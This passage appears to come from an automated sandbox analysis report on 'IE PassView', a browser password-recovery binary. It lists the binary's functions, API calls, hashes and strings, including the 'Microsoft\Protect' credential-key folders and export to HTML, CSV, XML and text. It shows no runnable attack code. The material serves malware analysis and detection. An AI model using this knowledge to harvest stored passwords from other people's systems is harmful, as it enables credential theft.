DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 0040A3E0
DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 0040A400
DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000004), ref: 0040A427
EndDeferWindowPos.USER32(?), ref: 0040A430

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Window$Defer$Rect$BeginClient
String ID:
API String ID: 2126104762-0
Opcode ID: 1854e6fb99ce8c4303dfcbab056374da83491766879c7cec17d9c754172deb83
Instruction ID: f25a26094e2faca3529be936910622707c98b43269e966daf1f2252f6084e513
Opcode Fuzzy Hash: 1854e6fb99ce8c4303dfcbab056374da83491766879c7cec17d9c754172deb83
Instruction Fuzzy Hash: BF21F572900209FFEB118FA9CD89FEEBBB9FB08300F004464F655B21A0C7316A619B24

Function 00404EDA Relevance: 10.6, APIs: 7, Instructions: 126windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00404EF1
SendMessageA.USER32(00000000,00001009,00000000,00000000), ref: 00404F0A
SendMessageA.USER32(?,00001036,00000000,00000026), ref: 00404F17
SendMessageA.USER32(?,0000101C,00000000,00000000), ref: 00404F23
memset.MSVCRT ref: 00404F8D
SendMessageA.USER32(?,00001019,?,?), ref: 00404FBE
SetFocus.USER32(?), ref: 00405043

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: MessageSend$FocusItemmemset
String ID:
API String ID: 4281309102-0
Opcode ID: 80125f1d81a2cba84744ca6ac5adebaefa6749431186c28d072d8f46a3c5ea3f
Instruction ID: 58c29ce436bfd17f4f10d94b53620d6b054177c9c1f076ea9b8b40f12dd7b6e3
Opcode Fuzzy Hash: 80125f1d81a2cba84744ca6ac5adebaefa6749431186c28d072d8f46a3c5ea3f
Instruction Fuzzy Hash: 0F415AB5D00209AFDB24AF99DC85DAEBBB8EF48344F00406AFA14B7291D7759E50CF94

Function 00408E49 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 004054A8: strlen.MSVCRT ref: 004054B5
Part of subcall function 004054A8: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040918C,?,<item>), ref: 004054C2

_mbscat.MSVCRT ref: 00408F0E
sprintf.MSVCRT ref: 00408F30

Strings

<tr>, xrefs: 00408E6E
 , xrefs: 00408F08
<td bgcolor=#%s nowrap>%s, xrefs: 00408E54
<td bgcolor=#%s>%s, xrefs: 00408E60

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: FileWrite_mbscatsprintfstrlen
String ID:  $<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
API String ID: 1631269929-4153097237
Opcode ID: 06ca42e6ace3ae292070cc0d22cbed44d8adeff900dd6316284e2bd14a4814a1
Instruction ID: 8ff27bf3e52c1c78db60ebb1db0c82d0b0e4d6300b2fd37b49e12284e27a8134
Opcode Fuzzy Hash: 06ca42e6ace3ae292070cc0d22cbed44d8adeff900dd6316284e2bd14a4814a1
Instruction Fuzzy Hash: BB31AF31900208AFDF05DF94C88699E7BB6EF44324F10416AF911BB2D1DB76A955CB84

Function 00407B29 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77windowstringCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 00407B3E
memset.MSVCRT ref: 00407B5F
GetMenuItemInfoA.USER32 ref: 00407B9A
strchr.MSVCRT ref: 00407BB1

Strings

0, xrefs: 00407B7A
6, xrefs: 00407B82

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ItemMenu$CountInfomemsetstrchr
String ID: 0$6
API String ID: 2300387033-3849865405
Opcode ID: f138c0c2e17f0f454b1f933c491c59eafba46a739957d8cab4cfcae500cf8054
Instruction ID: 61c400f18213051141d08820346c8c71aff278f6f6d7e791ff3ca33551ec7abe
Opcode Fuzzy Hash: f138c0c2e17f0f454b1f933c491c59eafba46a739957d8cab4cfcae500cf8054
Instruction Fuzzy Hash: 39219C7180C384ABD7118F55C88199BB7E8FB84348F044A7EF688A6290D779E9548B5B

Function 00405E23 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 59stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00405E44
sprintf.MSVCRT ref: 00405E6D
strlen.MSVCRT ref: 00405E79
memcpy.MSVCRT(00000000,00000000,00000001,00000000,00000000,%s (%s),?,?), ref: 00405E8E
strlen.MSVCRT ref: 00405E9C
memcpy.MSVCRT(00000001,?,00000001,?,00000000,00000000,00000001,00000000,00000000,%s (%s),?,?), ref: 00405EAC

Strings

%s (%s), xrefs: 00405E67

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memcpystrlen$memsetsprintf
String ID: %s (%s)
API String ID: 3756086014-1363028141
Opcode ID: c1b74242e2db3a75d5f9e606b1649bdaee36850ece59ec3017192dee8e4fef9b
Instruction ID: fafc8e1aca859c60be1a8c8db80c82d2408a10209385ede797be30bf89967f6d
Opcode Fuzzy Hash: c1b74242e2db3a75d5f9e606b1649bdaee36850ece59ec3017192dee8e4fef9b
Instruction Fuzzy Hash: B61172B1C00158ABDB11DF98CC45FDABBBCEF41308F4005BAE584B7141D775AA59CBA5

Function 00405B75 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00405B94
sprintf.MSVCRT ref: 00405BB5
_mbscat.MSVCRT ref: 00405BC7
_mbscat.MSVCRT ref: 00405BE4
_mbscat.MSVCRT ref: 00405BF3

Strings

%2.2X, xrefs: 00405BAF

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: _mbscat$memsetsprintf
String ID: %2.2X
API String ID: 125969286-791839006
Opcode ID: 15a19572f1feb158bb203c567dcf454c76b0b593cab2cbaff41282a2c2ca6bbc
Instruction ID: 9537ea820aaad274ba5bec07ccd7337ec1ab5dc8eb8c85604286a1d81751f0f1
Opcode Fuzzy Hash: 15a19572f1feb158bb203c567dcf454c76b0b593cab2cbaff41282a2c2ca6bbc
Instruction Fuzzy Hash: BB014C72D042282AD72652568C43BAB37ACEB54714F10407FFC44F51C1EABCF5484B9E

Function 0040B61E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44registryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 0040B63F
RegisterClassA.USER32(?), ref: 0040B664
GetModuleHandleA.KERNEL32(00000000), ref: 0040B66B
CreateWindowExA.USER32(00000000,IEPV,IE PassView,00CF0000,00000000,00000000,00000280,000001E0,00000000,00000000,00000000), ref: 0040B68D

Strings

IEPV, xrefs: 0040B687
IE PassView, xrefs: 0040B682

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: HandleModule$ClassCreateRegisterWindow
String ID: IE PassView$IEPV
API String ID: 2678498856-1990178490
Opcode ID: 8591f2bd93bf1a651786be77175e3d47ae507e1c6330b3cc51d66b98adde71b9
Instruction ID: 842871e813a439d299ab53f127e5dce29ef535e803bb2912a0a8da56c4c3ec7f
Opcode Fuzzy Hash: 8591f2bd93bf1a651786be77175e3d47ae507e1c6330b3cc51d66b98adde71b9
Instruction Fuzzy Hash: 3301C8B1901229ABC7119FAA8D85ADFBEB8FF09750F104526F514B2240D7B456508BE9

Function 0040C26A Relevance: 9.1, APIs: 6, Instructions: 142COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,?,00000000,00000000,?,0040BDFE,00000000,00000000), ref: 0040C2A1
memset.MSVCRT ref: 0040C2FE
memset.MSVCRT ref: 0040C310

Part of subcall function 0040C189: _mbscpy.MSVCRT(?,-00000001), ref: 0040C1AF

memset.MSVCRT ref: 0040C3F7
_mbscpy.MSVCRT(?,?,?,00000000,00000118), ref: 0040C41C
CloseHandle.KERNEL32(00000000,0040BDFE,?), ref: 0040C466

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memset$_mbscpy$CloseHandleOpenProcess
String ID:
API String ID: 3974772901-0
Opcode ID: c355bf422d420e09035804cd74dc979f2c32c7a33ae6a0d483b1ed98b9d793fd
Instruction ID: 792c3efbd14f137ed81f7205850b434bfe261aad0309b67609fb1f2d029afc56
Opcode Fuzzy Hash: c355bf422d420e09035804cd74dc979f2c32c7a33ae6a0d483b1ed98b9d793fd
Instruction Fuzzy Hash: 7951FBB1D00218EBDB10DF95CD85AEEB7B8FB44704F1041AAEA05F2291D7749A85CF69

Function 0040A986 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 70COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040A9A6

Part of subcall function 00407520: GetModuleHandleA.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 0040755F
Part of subcall function 00407520: LoadStringA.USER32(00000000,00000006,?,?), ref: 004075F4
Part of subcall function 00407520: memcpy.MSVCRT(00000000,00000001), ref: 00407633

Part of subcall function 00407520: _mbscpy.MSVCRT(004121F8,strings,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 0040759D
Part of subcall function 00407520: strlen.MSVCRT ref: 004075BB
Part of subcall function 00407520: GetModuleHandleA.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 004075C9

Part of subcall function 00405E23: memset.MSVCRT ref: 00405E44
Part of subcall function 00405E23: sprintf.MSVCRT ref: 00405E6D
Part of subcall function 00405E23: strlen.MSVCRT ref: 00405E79
Part of subcall function 00405E23: memcpy.MSVCRT(00000000,00000000,00000001,00000000,00000000,%s (%s),?,?), ref: 00405E8E
Part of subcall function 00405E23: strlen.MSVCRT ref: 00405E9C
Part of subcall function 00405E23: memcpy.MSVCRT(00000001,?,00000001,?,00000000,00000000,00000001,00000000,00000000,%s (%s),?,?), ref: 00405EAC

Part of subcall function 00405C08: _mbscpy.MSVCRT(?,?), ref: 00405C6E

Strings

*.htm;*.html, xrefs: 0040A9EC
*.csv, xrefs: 0040AA21
txt, xrefs: 0040AA53, 0040AA56
*.txt, xrefs: 0040A9BF
*.xml, xrefs: 0040AA15

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memcpystrlen$HandleModule_mbscpymemset$LoadStringsprintf
String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
API String ID: 1772356520-3614832568
Opcode ID: 184eca543d16e74b976b6ba8e879fce1a7ae83d7c879644b6dfcb39dcd56c2f2
Instruction ID: 8257111a09e3bf2c7ab3f6a09a3cfb4e3eaf558a703c3f4761269093adef0cb8
Opcode Fuzzy Hash: 184eca543d16e74b976b6ba8e879fce1a7ae83d7c879644b6dfcb39dcd56c2f2
Instruction Fuzzy Hash: 4821E0B1C05219AFDB00EF95D9817DEBBB4FB08304F10517BE61DB62C1E7385A468B9A

Function 004033B4 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 61stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 004033D2
strlen.MSVCRT ref: 004033DF
strlen.MSVCRT ref: 0040340F
strlen.MSVCRT ref: 0040341D

Part of subcall function 00405918: _mbscpy.MSVCRT(?,?,?,00403438,?,Application Data\Microsoft\Protect,?,?,?,00000000,00402C40,?), ref: 00405920
Part of subcall function 00405918: _mbscat.MSVCRT ref: 0040592F

Strings

AppData\Roaming\Microsoft\Protect, xrefs: 004033D7, 004033DC, 004033F3
Application Data\Microsoft\Protect, xrefs: 00403416, 0040342B

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: strlen$_mbscat_mbscpy
String ID: AppData\Roaming\Microsoft\Protect$Application Data\Microsoft\Protect
API String ID: 2369969472-36309976
Opcode ID: 41aeda7f39aadca49428ce4293023686735247b1bdd4b8e0e915cf2e89f9afbb
Instruction ID: 6e4e29caf338ae44f47f5ffcd363a1e3ba5aae136a0af6f395b1f13a557af891
Opcode Fuzzy Hash: 41aeda7f39aadca49428ce4293023686735247b1bdd4b8e0e915cf2e89f9afbb
Instruction Fuzzy Hash: 8F0126326082049EC3117A566C41BAAABDCCF8231AF60487FF500FB1C3EE7D6A46426D

Function 004022A6 Relevance: 9.1, APIs: 6, Instructions: 56filestringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004022CB
memset.MSVCRT ref: 004022E4
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF), ref: 004022FB
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 0040231A
strlen.MSVCRT ref: 0040232C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040233D

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ByteCharMultiWidememset$FileWritestrlen
String ID:
API String ID: 1786725549-0
Opcode ID: f1480f6260a2f907db4ea2b3d77c67a81c1faef3ce8f777ed2f65290efc94493
Instruction ID: 9103f75693024a9fa63d67926c53f888b6e91365cee00ad0ed946c1c94462a69
Opcode Fuzzy Hash: f1480f6260a2f907db4ea2b3d77c67a81c1faef3ce8f777ed2f65290efc94493
Instruction Fuzzy Hash: CF115BB280022CBEFB01AB958D89DEB73ACDB04354F0001B6BB19E2191D6749F548B79

Function 0040ABB5 Relevance: 9.1, APIs: 6, Instructions: 54fileclipboardCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 0040ABCF
GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0040ABE1
GetTempFileNameA.KERNEL32(?,0040EF2C,00000000,?), ref: 0040AC03
OpenClipboard.USER32(?), ref: 0040AC23
GetLastError.KERNEL32 ref: 0040AC3C
DeleteFileA.KERNEL32(00000000), ref: 0040AC59

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: FileTemp$ClipboardDeleteDirectoryErrorLastNameOpenPathWindows
String ID:
API String ID: 2014771361-0
Opcode ID: 75d2357909d40158cc69edc1db622911d699251443c9bce1769a0f969478b0a7
Instruction ID: 1a204863c46acf8627b431d74e017110a0c67be5a0ad28ab99641a1d26abf9c4
Opcode Fuzzy Hash: 75d2357909d40158cc69edc1db622911d699251443c9bce1769a0f969478b0a7
Instruction Fuzzy Hash: 8B11A972504318ABDB20A761DD49FDB77BC9B14700F0044BAB685F20D1EBB499D48F69

Function 0040168F Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0040169E
GetSystemMetrics.USER32(00000015), ref: 004016AC
GetSystemMetrics.USER32(00000014), ref: 004016B8
BeginPaint.USER32(?,?), ref: 004016D2
DrawFrameControl.USER32(00000000,?,00000003,00000008), ref: 004016E1
EndPaint.USER32(?,?), ref: 004016EE

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: MetricsPaintSystem$BeginClientControlDrawFrameRect
String ID:
API String ID: 19018683-0
Opcode ID: fcb7e482eb76ba8090ad36150f4fcea21044d1364904f0aff478c34c2a334ba8
Instruction ID: 51d58632dde0b2df19cce2622bda81a95d759c7467a932302152d961ccb82f95
Opcode Fuzzy Hash: fcb7e482eb76ba8090ad36150f4fcea21044d1364904f0aff478c34c2a334ba8
Instruction Fuzzy Hash: AC014B72910218EFDF04DFA9DD489FEBBBDFB49301F000929EA11BA194DB71A914CB90

Function 0040AB23 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040AB3B

Part of subcall function 00407520: GetModuleHandleA.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 0040755F
Part of subcall function 00407520: LoadStringA.USER32(00000000,00000006,?,?), ref: 004075F4
Part of subcall function 00407520: memcpy.MSVCRT(00000000,00000001), ref: 00407633

Part of subcall function 00407520: _mbscpy.MSVCRT(004121F8,strings,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 0040759D
Part of subcall function 00407520: strlen.MSVCRT ref: 004075BB
Part of subcall function 00407520: GetModuleHandleA.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 004075C9

sprintf.MSVCRT ref: 0040AB68
MessageBoxA.USER32(?,00000000,IE PassView,00000024), ref: 0040AB91

Strings

%s%s, xrefs: 0040AB62
IE PassView, xrefs: 0040AB84

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: HandleModule$LoadMessageString_mbscpymemcpymemsetsprintfstrlen
String ID: %s%s$IE PassView
API String ID: 4065552295-2879795094
Opcode ID: 9df0477533ba83204a857130b0cef703b924667a782a429e98ea27dafaf9c7a3
Instruction ID: f6a349c11968531fa7dfc28a6d2e01e9891fc91bb9518483c4496ef7fa76d560
Opcode Fuzzy Hash: 9df0477533ba83204a857130b0cef703b924667a782a429e98ea27dafaf9c7a3
Instruction Fuzzy Hash: 8701A7B2A443047BD721A6759C47FAA73AC9B05708F10087AF709FA1C2E67CBA55462F

Function 00407938 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407963
sprintf.MSVCRT ref: 00407978

Part of subcall function 00407A13: memset.MSVCRT ref: 00407A37
Part of subcall function 00407A13: GetPrivateProfileStringA.KERNEL32(004121F8,0000000A,0040E470,?,00001000,004120F0), ref: 00407A59
Part of subcall function 00407A13: _mbscpy.MSVCRT(?,?), ref: 00407A73

SetWindowTextA.USER32(?,?), ref: 0040799F

Strings

caption, xrefs: 00407984
dialog_%d, xrefs: 0040796E

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

